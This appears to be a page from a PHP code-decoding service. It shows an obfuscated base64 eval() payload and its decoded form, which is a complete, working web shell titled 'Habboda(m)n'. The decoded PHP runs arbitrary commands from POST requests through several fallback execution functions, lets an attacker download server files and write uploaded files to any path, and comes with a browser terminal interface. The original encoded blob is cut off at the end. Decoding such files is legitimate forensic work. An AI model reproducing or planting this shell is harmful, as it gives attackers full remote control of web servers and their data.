Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php eval(base64_decode('CiBnb3RvIFNJTFdLOyBvRVZUMzogZnVuY3Rpb24gaW5pdFNoZWxsQ29uZmlnKCkg..

Decoded Output download


 goto SILWK; oEVT3: function initShellConfig() { global $SHELL_CONFIG; if (isRunningWindows()) { $username = getenv("USERNAME"); if ($username !== false) { $SHELL_CONFIG["username"] = $username; } } else { $pwuid = posix_getpwuid(posix_geteuid()); if ($pwuid !== false) { $SHELL_CONFIG["username"] = $pwuid["name"]; } } $hostname = gethostname(); if ($hostname !== false) { $SHELL_CONFIG["hostname"] = $hostname; } } goto tQ2_5; EZskR: function featureDownload($filePath) { $file = @file_get_contents($filePath); if ($file === FALSE) { return array("stdout" => base64_encode("File not found / no read permission."), "cwd" => base64_encode(getcwd())); } else { return array("name" => base64_encode(basename($filePath)), "file" => base64_encode($file)); } } goto j6KGr; tOu44: function featurePwd() { return array("cwd" => base64_encode(getcwd())); } goto jGWVE; oYyIW: function allFunctionExist($list = array()) { foreach ($list as $entry) { if (!function_exists($entry)) { return false; } } return true; } goto ZMziK; exWpx: function featureShell($cmd, $cwd) { $stdout = ''; if (preg_match("/^\s*cd\s*(2>&1)?$/", $cmd)) { chdir(expandPath("~")); } elseif (preg_match("/^\s*cd\s+(.+)\s*(2>&1)?$/", $cmd)) { chdir($cwd); preg_match("/^\s*cd\s+([^\s]+)\s*(2>&1)?$/", $cmd, $match); chdir(expandPath($match[1])); } elseif (preg_match("/^\s*download\s+[^\s]+\s*(2>&1)?$/", $cmd)) { chdir($cwd); preg_match("/^\s*download\s+([^\s]+)\s*(2>&1)?$/", $cmd, $match); return featureDownload($match[1]); } else { chdir($cwd); $stdout = executeCommand($cmd); } return array("stdout" => base64_encode($stdout), "cwd" => base64_encode(getcwd())); } goto tOu44; tQ2_5: if (isset($_GET["feature"])) { $response = NULL; switch ($_GET["feature"]) { case "shell": $cmd = $_POST["cmd"]; if (!preg_match("/2>/", $cmd)) { $cmd .= " 2>&1"; } $response = featureShell($cmd, $_POST["cwd"]); break; case "pwd": $response = featurePwd(); break; case "hint": $response = featureHint($_POST["filename"], $_POST["cwd"], $_POST["type"]); break; case "upload": $response = featureUpload($_POST["path"], $_POST["file"], $_POST["cwd"]); } header("Content-Type: application/json"); echo json_encode($response); die; } else { initShellConfig(); } goto rwNLJ; rwNLJ: ?>
<!DOCTYPE html>

<html>

    <head>
        <meta charset="UTF-8" />
        <title>Habboda(m)n:~#</title>
        <meta name="viewport" content="width=device-width, initial-scale=1.0" />
        <style>
            html, body {
                margin: 0;
                padding: 0;
                background: #333;
                color: #eee;
                font-family: monospace;
                width: 100vw;
                height: 100vh;
                overflow: hidden;
            }

            *::-webkit-scrollbar-track {
                border-radius: 8px;
                background-color: #353535;
            }

            *::-webkit-scrollbar {
                width: 8px;
                height: 8px;
            }

            *::-webkit-scrollbar-thumb {
                border-radius: 8px;
                -webkit-box-shadow: inset 0 0 6px rgba(0,0,0,.3);
                background-color: #bcbcbc;
            }

            #shell {
                background: #222;
                box-shadow: 0 0 5px rgba(0, 0, 0, .3);
                font-size: 10pt;
                display: flex;
                flex-direction: column;
                align-items: stretch;
                max-width: calc(100vw - 2 * var(--shell-margin));
                max-height: calc(100vh - 2 * var(--shell-margin));
                resize: both;
                overflow: hidden;
                width: 100%;
                height: 100%;
                margin: var(--shell-margin) auto;
            }

            #shell-content {
                overflow: auto;
                padding: 5px;
                white-space: pre-wrap;
                flex-grow: 1;
            }

            #shell-logo {
                font-weight: bold;
                color: #FF4180;
                text-align: center;
            }

            :root {
                --shell-margin: 25px;
            }

            @media (min-width: 1200px) {
                :root {
                    --shell-margin: 50px !important;
                }
            }

            @media (max-width: 991px),
                   (max-height: 600px) {
                #shell-logo {
                    font-size: 6px;
                    margin: -25px 0;
                }
                :root {
                    --shell-margin: 0 !important;
                }
                #shell {
                    resize: none;
                }
            }

            @media (max-width: 767px) {
                #shell-input {
                    flex-direction: column;
                }
            }

            @media (max-width: 320px) {
                #shell-logo {
                    font-size: 5px;
                }
            }

            .shell-prompt {
                font-weight: bold;
                color: #75DF0B;
            }

            .shell-prompt > span {
                color: #1BC9E7;
            }

            #shell-input {
                display: flex;
                box-shadow: 0 -1px 0 rgba(0, 0, 0, .3);
                border-top: rgba(255, 255, 255, .05) solid 1px;
                padding: 10px 0;
            }

            #shell-input > label {
                flex-grow: 0;
                display: block;
                padding: 0 5px;
                height: 30px;
                line-height: 30px;
            }

            #shell-input #shell-cmd {
                height: 30px;
                line-height: 30px;
                border: none;
                background: transparent;
                color: #eee;
                font-family: monospace;
                font-size: 10pt;
                width: 100%;
                align-self: center;
                box-sizing: border-box;
            }

            #shell-input div {
                flex-grow: 1;
                align-items: stretch;
            }

            #shell-input input {
                outline: none;
            }
        </style>

        <script>
            var SHELL_CONFIG = <?php  goto HB3wY; j6KGr: function featureUpload($path, $file, $cwd) { chdir($cwd); $f = @fopen($path, "wb"); if ($f === FALSE) { return array("stdout" => base64_encode("Invalid path / no write permission."), "cwd" => base64_encode(getcwd())); } else { fwrite($f, base64_decode($file)); fclose($f); return array("stdout" => base64_encode("Done."), "cwd" => base64_encode(getcwd())); } } goto oEVT3; e7tHV: function isRunningWindows() { return stripos(PHP_OS, "WIN") === 0; } goto exWpx; ZMziK: function executeCommand($cmd) { $output = ''; if (function_exists("exec")) { exec($cmd, $output); $output = implode("
", $output); } else { if (function_exists("shell_exec")) { $output = shell_exec($cmd); } else { if (allFunctionExist(array("system", "ob_start", "ob_get_contents", "ob_end_clean"))) { ob_start(); system($cmd); $output = ob_get_contents(); ob_end_clean(); } else { if (allFunctionExist(array("passthru", "ob_start", "ob_get_contents", "ob_end_clean"))) { ob_start(); passthru($cmd); $output = ob_get_contents(); ob_end_clean(); } else { if (allFunctionExist(array("popen", "feof", "fread", "pclose"))) { $handle = popen($cmd, "r"); while (!feof($handle)) { $output .= fread($handle, 4096); } pclose($handle); } else { if (allFunctionExist(array("proc_open", "stream_get_contents", "proc_close"))) { $handle = proc_open($cmd, array(0 => array("pipe", "r"), 1 => array("pipe", "w")), $pipes); $output = stream_get_contents($pipes[1]); proc_close($handle); } } } } } } return $output; } goto e7tHV; SILWK: $SHELL_CONFIG = array("username" => "Controlsda", "hostname" => "localhost"); goto S1ggh; S1ggh: function expandPath($path) { if (preg_match("#^(~[a-zA-Z0-9_.-]*)(/.*)?$#", $path, $match)) { exec("echo {$match["1"]}", $stdout); return $stdout[0] . $match[2]; } return $path; } goto oYyIW; jGWVE: function featureHint($fileName, $cwd, $type) { chdir($cwd); if ($type == "cmd") { $cmd = "compgen -c {$fileName}"; } else { $cmd = "compgen -f {$fileName}"; } $cmd = "/bin/bash -c "{$cmd}""; $files = explode("
", shell_exec($cmd)); foreach ($files as &$filename) { $filename = base64_encode($filename); } return array("files" => $files); } goto EZskR; HB3wY: echo json_encode($SHELL_CONFIG); goto aRDKp; aRDKp: ?>
;
            var CWD = null;
            var commandHistory = [];
            var historyPosition = 0;
            var eShellCmdInput = null;
            var eShellContent = null;

            function _insertCommand(command) {
                eShellContent.innerHTML += "

";
                eShellContent.innerHTML += '<span class=\"shell-prompt\">' + genPrompt(CWD) + '</span> ';
                eShellContent.innerHTML += escapeHtml(command);
                eShellContent.innerHTML += "
";
                eShellContent.scrollTop = eShellContent.scrollHeight;
            }

            function _insertStdout(stdout) {
                eShellContent.innerHTML += escapeHtml(stdout);
                eShellContent.scrollTop = eShellContent.scrollHeight;
            }

            function _defer(callback) {
                setTimeout(callback, 0);
            }

            function featureShell(command) {

                _insertCommand(command);
                if (/^\s*upload\s+[^\s]+\s*$/.test(command)) {
                    featureUpload(command.match(/^\s*upload\s+([^\s]+)\s*$/)[1]);
                } else if (/^\s*clear\s*$/.test(command)) {
                    // Backend shell TERM environment variable not set. Clear command history from UI but keep in buffer
                    eShellContent.innerHTML = '';
                } else {
                    makeRequest("?feature=shell", {cmd: command, cwd: CWD}, function (response) {
                        if (response.hasOwnProperty('file')) {
                            featureDownload(atob(response.name), response.file)
                        } else {
                            _insertStdout(atob(response.stdout));
                            updateCwd(atob(response.cwd));
                        }
                    });
                }
            }

            function featureHint() {
                if (eShellCmdInput.value.trim().length === 0) return;  // field is empty -> nothing to complete

                function _requestCallback(data) {
                    if (data.files.length <= 1) return;  // no completion
                    data.files = data.files.map(function(file){
                        return atob(file);
                    });
                    if (data.files.length === 2) {
                        if (type === 'cmd') {
                            eShellCmdInput.value = data.files[0];
                        } else {
                            var currentValue = eShellCmdInput.value;
                            eShellCmdInput.value = currentValue.replace(/([^\s]*)$/, data.files[0]);
                        }
                    } else {
                        _insertCommand(eShellCmdInput.value);
                        _insertStdout(data.files.join("
"));
                    }
                }

                var currentCmd = eShellCmdInput.value.split(" ");
                var type = (currentCmd.length === 1) ? "cmd" : "file";
                var fileName = (type === "cmd") ? currentCmd[0] : currentCmd[currentCmd.length - 1];

                makeRequest(
                    "?feature=hint",
                    {
                        filename: fileName,
                        cwd: CWD,
                        type: type
                    },
                    _requestCallback
                );

            }

            function featureDownload(name, file) {
                var element = document.createElement('a');
                element.setAttribute('href', 'data:application/octet-stream;base64,' + file);
                element.setAttribute('download', name);
                element.style.display = 'none';
                document.body.appendChild(element);
                element.click();
                document.body.removeChild(element);
                _insertStdout('Done.');
            }

            function featureUpload(path) {
                var element = document.createElement('input');
                element.setAttribute('type', 'file');
                element.style.display = 'none';
                document.body.appendChild(element);
                element.addEventListener('change', function () {
                    var promise = getBase64(element.files[0]);
                    promise.then(function (file) {
                        makeRequest('?feature=upload', {path: path, file: file, cwd: CWD}, function (response) {
                            _insertStdout(atob(response.stdout));
                            updateCwd(atob(response.cwd));
                        });
                    }, function () {
                        _insertStdout('An unknown client-side error occurred.');
                    });
                });
                element.click();
                document.body.removeChild(element);
            }

            function getBase64(file, onLoadCallback) {
                return new Promise(function(resolve, reject) {
                    var reader = new FileReader();
                    reader.onload = function() { resolve(reader.result.match(/base64,(.*)$/)[1]); };
                    reader.onerror = reject;
                    reader.readAsDataURL(file);
                });
            }

            function genPrompt(cwd) {
                cwd = cwd || "~";
                var shortCwd = cwd;
                if (cwd.split("/").length > 3) {
                    var splittedCwd = cwd.split("/");
                    shortCwd = "/" + splittedCwd[splittedCwd.length-2] + "/" + splittedCwd[splittedCwd.length-1];
                }
                return SHELL_CONFIG["username"] + "@" + SHELL_CONFIG["hostname"] + ":<span title=\"" + cwd + "\">" + shortCwd + "</span>#";
            }

            function updateCwd(cwd) {
                if (cwd) {
                    CWD = cwd;
                    _updatePrompt();
                    return;
                }
                makeRequest("?feature=pwd", {}, function(response) {
                    CWD = atob(response.cwd);
                    _updatePrompt();
                });

            }

            function escapeHtml(string) {
                return string
                    .replace(/&/g, "&amp;")
                    .replace(/</g, "&lt;")
                    .replace(/>/g, "&gt;");
            }

            function _updatePrompt() {
                var eShellPrompt = document.getElementById("shell-prompt");
                eShellPrompt.innerHTML = genPrompt(CWD);
            }

            function _onShellCmdKeyDown(event) {
                switch (event.key) {
                    case "Enter":
                        featureShell(eShellCmdInput.value);
                        insertToHistory(eShellCmdInput.value);
                        eShellCmdInput.value = "";
                        break;
                    case "ArrowUp":
                        if (historyPosition > 0) {
                            historyPosition--;
                            eShellCmdInput.blur();
                            eShellCmdInput.value = commandHistory[historyPosition];
                            _defer(function() {
                                eShellCmdInput.focus();
                            });
                        }
                        break;
                    case "ArrowDown":
                        if (historyPosition >= commandHistory.length) {
                            break;
                        }
                        historyPosition++;
                        if (historyPosition === commandHistory.length) {
                            eShellCmdInput.value = "";
                        } else {
                            eShellCmdInput.blur();
                            eShellCmdInput.focus();
                            eShellCmdInput.value = commandHistory[historyPosition];
                        }
                        break;
                    case 'Tab':
                        event.preventDefault();
                        featureHint();
                        break;
                }
            }

            function insertToHistory(cmd) {
                commandHistory.push(cmd);
                historyPosition = commandHistory.length;
            }

            function makeRequest(url, params, callback) {
                function getQueryString() {
                    var a = [];
                    for (var key in params) {
                        if (params.hasOwnProperty(key)) {
                            a.push(encodeURIComponent(key) + "=" + encodeURIComponent(params[key]));
                        }
                    }
                    return a.join("&");
                }
                var xhr = new XMLHttpRequest();
                xhr.open("POST", url, true);
                xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
                xhr.onreadystatechange = function() {
                    if (xhr.readyState === 4 && xhr.status === 200) {
                        try {
                            var responseJson = JSON.parse(xhr.responseText);
                            callback(responseJson);
                        } catch (error) {
                            alert("Error while parsing response: " + error);
                        }
                    }
                };
                xhr.send(getQueryString());
            }

            document.onclick = function(event) {
                event = event || window.event;
                var selection = window.getSelection();
                var target = event.target || event.srcElement;

                if (target.tagName === "SELECT") {
                    return;
                }

                if (!selection.toString()) {
                    eShellCmdInput.focus();
                }
            };

            window.onload = function() {
                eShellCmdInput = document.getElementById("shell-cmd");
                eShellContent = document.getElementById("shell-content");
                updateCwd();
                eShellCmdInput.focus();
            };
        </script>
    </head>

    <body>
        <div id="shell">
            <pre id="shell-content">
                <div id="shell-logo">
                <pre>
  _    _          ____  ____   ____  _____           __       __  _   _ 
 | |  | |   /\   |  _ \|  _ \ / __ \|  __ \   /\    / /       \ \| \ | |
 | |__| |  /  \  | |_) | |_) | |  | | |  | | /  \  | |_ __ ___ | |  \| |
 |  __  | / /\ \ |  _ <|  _ <| |  | | |  | |/ /\ \ | | '_ ` _ \| | . ` |
 | |  | |/ ____ \| |_) | |_) | |__| | |__| / ____ \| | | | | | | | |\  |
 |_|  |_/_/    \_\____/|____/ \____/|_____/_/    \_\ |_| |_| |_| |_| \_|
                                                    \_\       /_/       
                                                                                                 
</pre>
                </div>
            </pre>
            <div id="shell-input">
                <label for="shell-cmd" id="shell-prompt" class="shell-prompt">???</label>
                <div>
                    <input id="shell-cmd" name="cmd" onkeydown="_onShellCmdKeyDown(event)"/>
                </div>
            </div>
        </div>
    </body>

</htm

Did this file decode correctly?

Original Code

<?php eval(base64_decode('CiBnb3RvIFNJTFdLOyBvRVZUMzogZnVuY3Rpb24gaW5pdFNoZWxsQ29uZmlnKCkgeyBnbG9iYWwgJFNIRUxMX0NPTkZJRzsgaWYgKGlzUnVubmluZ1dpbmRvd3MoKSkgeyAkdXNlcm5hbWUgPSBnZXRlbnYoIlwxMjVcMTIzXHg0NVwxMjJcMTE2XHg0MVx4NGRcMTA1Iik7IGlmICgkdXNlcm5hbWUgIT09IGZhbHNlKSB7ICRTSEVMTF9DT05GSUdbIlwxNjVcMTYzXHg2NVx4NzJcMTU2XHg2MVx4NmRcMTQ1Il0gPSAkdXNlcm5hbWU7IH0gfSBlbHNlIHsgJHB3dWlkID0gcG9zaXhfZ2V0cHd1aWQocG9zaXhfZ2V0ZXVpZCgpKTsgaWYgKCRwd3VpZCAhPT0gZmFsc2UpIHsgJFNIRUxMX0NPTkZJR1siXDE2NVwxNjNcMTQ1XDE2MlwxNTZceDYxXDE1NVwxNDUiXSA9ICRwd3VpZFsiXDE1Nlx4NjFceDZkXDE0NSJdOyB9IH0gJGhvc3RuYW1lID0gZ2V0aG9zdG5hbWUoKTsgaWYgKCRob3N0bmFtZSAhPT0gZmFsc2UpIHsgJFNIRUxMX0NPTkZJR1siXDE1MFwxNTdceDczXHg3NFx4NmVceDYxXDE1NVx4NjUiXSA9ICRob3N0bmFtZTsgfSB9IGdvdG8gdFEyXzU7IEVac2tSOiBmdW5jdGlvbiBmZWF0dXJlRG93bmxvYWQoJGZpbGVQYXRoKSB7ICRmaWxlID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRmaWxlUGF0aCk7IGlmICgkZmlsZSA9PT0gRkFMU0UpIHsgcmV0dXJuIGFycmF5KCJcMTYzXHg3NFwxNDRcMTU3XDE2NVx4NzQiID0+IGJhc2U2NF9lbmNvZGUoIlwxMDZceDY5XHg2Y1x4NjVceDIwXDE1Nlx4NmZcMTY0XHgyMFx4NjZcMTU3XHg3NVx4NmVceDY0XDQwXDU3XDQwXHg2ZVx4NmZcNDBceDcyXDE0NVx4NjFcMTQ0XDQwXDE2MFx4NjVcMTYyXDE1NVwxNTFceDczXDE2M1x4NjlcMTU3XHg2ZVx4MmUiKSwgIlx4NjNceDc3XDE0NCIgPT4gYmFzZTY0X2VuY29kZShnZXRjd2QoKSkpOyB9IGVsc2UgeyByZXR1cm4gYXJyYXkoIlx4NmVcMTQxXHg2ZFx4NjUiID0+IGJhc2U2NF9lbmNvZGUoYmFzZW5hbWUoJGZpbGVQYXRoKSksICJcMTQ2XHg2OVx4NmNcMTQ1IiA9PiBiYXNlNjRfZW5jb2RlKCRmaWxlKSk7IH0gfSBnb3RvIGo2S0dyOyB0T3U0NDogZnVuY3Rpb24gZmVhdHVyZVB3ZCgpIHsgcmV0dXJuIGFycmF5KCJceDYzXDE2N1wxNDQiID0+IGJhc2U2NF9lbmNvZGUoZ2V0Y3dkKCkpKTsgfSBnb3RvIGpHV1ZFOyBvWXlJVzogZnVuY3Rpb24gYWxsRnVuY3Rpb25FeGlzdCgkbGlzdCA9IGFycmF5KCkpIHsgZm9yZWFjaCAoJGxpc3QgYXMgJGVudHJ5KSB7IGlmICghZnVuY3Rpb25fZXhpc3RzKCRlbnRyeSkpIHsgcmV0dXJuIGZhbHNlOyB9IH0gcmV0dXJuIHRydWU7IH0gZ290byBaTXppSzsgZXhXcHg6IGZ1bmN0aW9uIGZlYXR1cmVTaGVsbCgkY21kLCAkY3dkKSB7ICRzdGRvdXQgPSAnJzsgaWYgKHByZWdfbWF0Y2goIlx4MmZcMTM2XDEzNFwxNjNceDJhXHg2M1x4NjRcMTM0XHg3M1x4MmFceDI4XDYyXHgzZVx4MjZceDMxXDUxXHgzZlw0NFx4MmYiLCAkY21kKSkgeyBjaGRpcihleHBhbmRQYXRoKCJcMTc2IikpOyB9IGVsc2VpZiAocHJlZ19tYXRjaCgiXDU3XHg1ZVwxMzRceDczXDUyXDE0M1wxNDRceDVjXDE2M1x4MmJcNTBcNTZcNTNceDI5XHg1Y1wxNjNceDJhXHgyOFx4MzJceDNlXHgyNlx4MzFceDI5XHgzZlw0NFx4MmYiLCAkY21kKSkgeyBjaGRpcigkY3dkKTsgcHJlZ19tYXRjaCgiXHgyZlx4NWVcMTM0XDE2M1w1Mlx4NjNcMTQ0XHg1Y1wxNjNcNTNcNTBcMTMzXHg1ZVx4NWNceDczXDEzNVw1M1w1MVwxMzRceDczXHgyYVw1MFx4MzJceDNlXHgyNlw2MVw1MVw3N1w0NFx4MmYiLCAkY21kLCAkbWF0Y2gpOyBjaGRpcihleHBhbmRQYXRoKCRtYXRjaFsxXSkpOyB9IGVsc2VpZiAocHJlZ19tYXRjaCgiXDU3XHg1ZVx4NWNceDczXDUyXDE0NFx4NmZceDc3XDE1Nlx4NmNcMTU3XDE0MVwxNDRceDVjXHg3M1x4MmJceDViXDEzNlwxMzRcMTYzXDEzNVx4MmJcMTM0XDE2M1w1Mlw1MFw2Mlw3Nlw0Nlw2MVx4MjlcNzdceDI0XHgyZiIsICRjbWQpKSB7IGNoZGlyKCRjd2QpOyBwcmVnX21hdGNoKCJceDJmXDEzNlx4NWNcMTYzXHgyYVx4NjRceDZmXHg3N1wxNTZceDZjXDE1N1wxNDFcMTQ0XHg1Y1x4NzNceDJiXDUwXHg1YlwxMzZceDVjXHg3M1x4NWRceDJiXHgyOVwxMzRcMTYzXDUyXHgyOFx4MzJcNzZcNDZceDMxXDUxXDc3XDQ0XDU3IiwgJGNtZCwgJG1hdGNoKTsgcmV0dXJuIGZlYXR1cmVEb3dubG9hZCgkbWF0Y2hbMV0pOyB9IGVsc2UgeyBjaGRpcigkY3dkKTsgJHN0ZG91dCA9IGV4ZWN1dGVDb21tYW5kKCRjbWQpOyB9IHJldHVybiBhcnJheSgiXHg3M1x4NzRcMTQ0XDE1N1x4NzVcMTY0IiA9PiBiYXNlNjRfZW5jb2RlKCRzdGRvdXQpLCAiXHg2M1wxNjdceDY0IiA9PiBiYXNlNjRfZW5jb2RlKGdldGN3ZCgpKSk7IH0gZ290byB0T3U0NDsgdFEyXzU6IGlmIChpc3NldCgkX0dFVFsiXHg2Nlx4NjVcMTQxXDE2NFx4NzVcMTYyXDE0NSJdKSkgeyAkcmVzcG9uc2UgPSBOVUxMOyBzd2l0Y2ggKCRfR0VUWyJceDY2XDE0NVx4NjFcMTY0XHg3NVx4NzJceDY1Il0pIHsgY2FzZSAiXDE2M1wxNTBceDY1XDE1NFwxNTQiOiAkY21kID0gJF9QT1NUWyJceDYzXHg2ZFx4NjQiXTsgaWYgKCFwcmVnX21hdGNoKCJceDJmXHgzMlw3Nlx4MmYiLCAkY21kKSkgeyAkY21kIC49ICJceDIwXHgzMlx4M2VceDI2XDYxIjsgfSAkcmVzcG9uc2UgPSBmZWF0dXJlU2hlbGwoJGNtZCwgJF9QT1NUWyJcMTQzXHg3N1wxNDQiXSk7IGJyZWFrOyBjYXNlICJcMTYwXHg3N1wxNDQiOiAkcmVzcG9uc2UgPSBmZWF0dXJlUHdkKCk7IGJyZWFrOyBjYXNlICJceDY4XDE1MVx4NmVceDc0IjogJHJlc3BvbnNlID0gZmVhdHVyZUhpbnQoJF9QT1NUWyJceDY2XDE1MVwxNTRceDY1XDE1NlwxNDFceDZkXDE0NSJdLCAkX1BPU1RbIlx4NjNceDc3XDE0NCJdLCAkX1BPU1RbIlx4NzRceDc5XDE2MFwxNDUiXSk7IGJyZWFrOyBjYXNlICJceDc1XHg3MFwxNTRcMTU3XDE0MVx4NjQiOiAkcmVzcG9uc2UgPSBmZWF0dXJlVXBsb2FkKCRfUE9TVFsiXDE2MFwxNDFceDc0XDE1MCJdLCAkX1BPU1RbIlwxNDZcMTUxXHg2Y1wxNDUiXSwgJF9QT1NUWyJceDYzXDE2N1x4NjQiXSk7IH0gaGVhZGVyKCJceDQzXDE1N1x4NmVcMTY0XDE0NVwxNTZceDc0XDU1XHg1NFwxNzFcMTYwXDE0NVw3Mlw0MFwxNDFcMTYwXDE2MFwxNTRceDY5XHg2M1wxNDFceDc0XDE1MVx4NmZceDZlXDU3XHg2YVwxNjNceDZmXHg2ZSIpOyBlY2hvIGpzb25fZW5jb2RlKCRyZXNwb25zZSk7IGRpZTsgfSBlbHNlIHsgaW5pdFNoZWxsQ29uZmlnKCk7IH0gZ290byByd05MSjsgcndOTEo6ID8+CjwhRE9DVFlQRSBodG1sPgoKPGh0bWw+CgogICAgPGhlYWQ+CiAgICAgICAgPG1ldGEgY2hhcnNldD0iVVRGLTgiIC8+CiAgICAgICAgPHRpdGxlPkhhYmJvZGEobSluOn4jPC90aXRsZT4KICAgICAgICA8bWV0YSBuYW1lPSJ2aWV3cG9ydCIgY29udGVudD0id2lkdGg9ZGV2aWNlLXdpZHRoLCBpbml0aWFsLXNjYWxlPTEuMCIgLz4KICAgICAgICA8c3R5bGU+CiAgICAgICAgICAgIGh0bWwsIGJvZHkgewogICAgICAgICAgICAgICAgbWFyZ2luOiAwOwogICAgICAgICAgICAgICAgcGFkZGluZzogMDsKICAgICAgICAgICAgICAgIGJhY2tncm91bmQ6ICMzMzM7CiAgICAgICAgICAgICAgICBjb2xvcjogI2VlZTsKICAgICAgICAgICAgICAgIGZvbnQtZmFtaWx5OiBtb25vc3BhY2U7CiAgICAgICAgICAgICAgICB3aWR0aDogMTAwdnc7CiAgICAgICAgICAgICAgICBoZWlnaHQ6IDEwMHZoOwogICAgICAgICAgICAgICAgb3ZlcmZsb3c6IGhpZGRlbjsKICAgICAgICAgICAgfQoKICAgICAgICAgICAgKjo6LXdlYmtpdC1zY3JvbGxiYXItdHJhY2sgewogICAgICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogOHB4OwogICAgICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogIzM1MzUzNTsKICAgICAgICAgICAgfQoKICAgICAgICAgICAgKjo6LXdlYmtpdC1zY3JvbGxiYXIgewogICAgICAgICAgICAgICAgd2lkdGg6IDhweDsKICAgICAgICAgICAgICAgIGhlaWdodDogOHB4OwogICAgICAgICAgICB9CgogICAgICAgICAgICAqOjotd2Via2l0LXNjcm9sbGJhci10aHVtYiB7CiAgICAgICAgICAgICAgICBib3JkZXItcmFkaXVzOiA4cHg7CiAgICAgICAgICAgICAgICAtd2Via2l0LWJveC1zaGFkb3c6IGluc2V0IDAgMCA2cHggcmdiYSgwLDAsMCwuMyk7CiAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjYmNiY2JjOwogICAgICAgICAgICB9CgogICAgICAgICAgICAjc2hlbGwgewogICAgICAgICAgICAgICAgYmFja2dyb3VuZDogIzIyMjsKICAgICAgICAgICAgICAgIGJveC1zaGFkb3c6IDAgMCA1cHggcmdiYSgwLCAwLCAwLCAuMyk7CiAgICAgICAgICAgICAgICBmb250LXNpemU6IDEwcHQ7CiAgICAgICAgICAgICAgICBkaXNwbGF5OiBmbGV4OwogICAgICAgICAgICAgICAgZmxleC1kaXJlY3Rpb246IGNvbHVtbjsKICAgICAgICAgICAgICAgIGFsaWduLWl0ZW1zOiBzdHJldGNoOwogICAgICAgICAgICAgICAgbWF4LXdpZHRoOiBjYWxjKDEwMHZ3IC0gMiAqIHZhcigtLXNoZWxsLW1hcmdpbikpOwogICAgICAgICAgICAgICAgbWF4LWhlaWdodDogY2FsYygxMDB2aCAtIDIgKiB2YXIoLS1zaGVsbC1tYXJnaW4pKTsKICAgICAgICAgICAgICAgIHJlc2l6ZTogYm90aDsKICAgICAgICAgICAgICAgIG92ZXJmbG93OiBoaWRkZW47CiAgICAgICAgICAgICAgICB3aWR0aDogMTAwJTsKICAgICAgICAgICAgICAgIGhlaWdodDogMTAwJTsKICAgICAgICAgICAgICAgIG1hcmdpbjogdmFyKC0tc2hlbGwtbWFyZ2luKSBhdXRvOwogICAgICAgICAgICB9CgogICAgICAgICAgICAjc2hlbGwtY29udGVudCB7CiAgICAgICAgICAgICAgICBvdmVyZmxvdzogYXV0bzsKICAgICAgICAgICAgICAgIHBhZGRpbmc6IDVweDsKICAgICAgICAgICAgICAgIHdoaXRlLXNwYWNlOiBwcmUtd3JhcDsKICAgICAgICAgICAgICAgIGZsZXgtZ3JvdzogMTsKICAgICAgICAgICAgfQoKICAgICAgICAgICAgI3NoZWxsLWxvZ28gewogICAgICAgICAgICAgICAgZm9udC13ZWlnaHQ6IGJvbGQ7CiAgICAgICAgICAgICAgICBjb2xvcjogI0ZGNDE4MDsKICAgICAgICAgICAgICAgIHRleHQtYWxpZ246IGNlbnRlcjsKICAgICAgICAgICAgfQoKICAgICAgICAgICAgOnJvb3QgewogICAgICAgICAgICAgICAgLS1zaGVsbC1tYXJnaW46IDI1cHg7CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIEBtZWRpYSAobWluLXdpZHRoOiAxMjAwcHgpIHsKICAgICAgICAgICAgICAgIDpyb290IHsKICAgICAgICAgICAgICAgICAgICAtLXNoZWxsLW1hcmdpbjogNTBweCAhaW1wb3J0YW50OwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CgogICAgICAgICAgICBAbWVkaWEgKG1heC13aWR0aDogOTkxcHgpLAogICAgICAgICAgICAgICAgICAgKG1heC1oZWlnaHQ6IDYwMHB4KSB7CiAgICAgICAgICAgICAgICAjc2hlbGwtbG9nbyB7CiAgICAgICAgICAgICAgICAgICAgZm9udC1zaXplOiA2cHg7CiAgICAgICAgICAgICAgICAgICAgbWFyZ2luOiAtMjVweCAwOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgOnJvb3QgewogICAgICAgICAgICAgICAgICAgIC0tc2hlbGwtbWFyZ2luOiAwICFpbXBvcnRhbnQ7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAjc2hlbGwgewogICAgICAgICAgICAgICAgICAgIHJlc2l6ZTogbm9uZTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQoKICAgICAgICAgICAgQG1lZGlhIChtYXgtd2lkdGg6IDc2N3B4KSB7CiAgICAgICAgICAgICAgICAjc2hlbGwtaW5wdXQgewogICAgICAgICAgICAgICAgICAgIGZsZXgtZGlyZWN0aW9uOiBjb2x1bW47CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIEBtZWRpYSAobWF4LXdpZHRoOiAzMjBweCkgewogICAgICAgICAgICAgICAgI3NoZWxsLWxvZ28gewogICAgICAgICAgICAgICAgICAgIGZvbnQtc2l6ZTogNXB4OwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CgogICAgICAgICAgICAuc2hlbGwtcHJvbXB0IHsKICAgICAgICAgICAgICAgIGZvbnQtd2VpZ2h0OiBib2xkOwogICAgICAgICAgICAgICAgY29sb3I6ICM3NURGMEI7CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIC5zaGVsbC1wcm9tcHQgPiBzcGFuIHsKICAgICAgICAgICAgICAgIGNvbG9yOiAjMUJDOUU3OwogICAgICAgICAgICB9CgogICAgICAgICAgICAjc2hlbGwtaW5wdXQgewogICAgICAgICAgICAgICAgZGlzcGxheTogZmxleDsKICAgICAgICAgICAgICAgIGJveC1zaGFkb3c6IDAgLTFweCAwIHJnYmEoMCwgMCwgMCwgLjMpOwogICAgICAgICAgICAgICAgYm9yZGVyLXRvcDogcmdiYSgyNTUsIDI1NSwgMjU1LCAuMDUpIHNvbGlkIDFweDsKICAgICAgICAgICAgICAgIHBhZGRpbmc6IDEwcHggMDsKICAgICAgICAgICAgfQoKICAgICAgICAgICAgI3NoZWxsLWlucHV0ID4gbGFiZWwgewogICAgICAgICAgICAgICAgZmxleC1ncm93OiAwOwogICAgICAgICAgICAgICAgZGlzcGxheTogYmxvY2s7CiAgICAgICA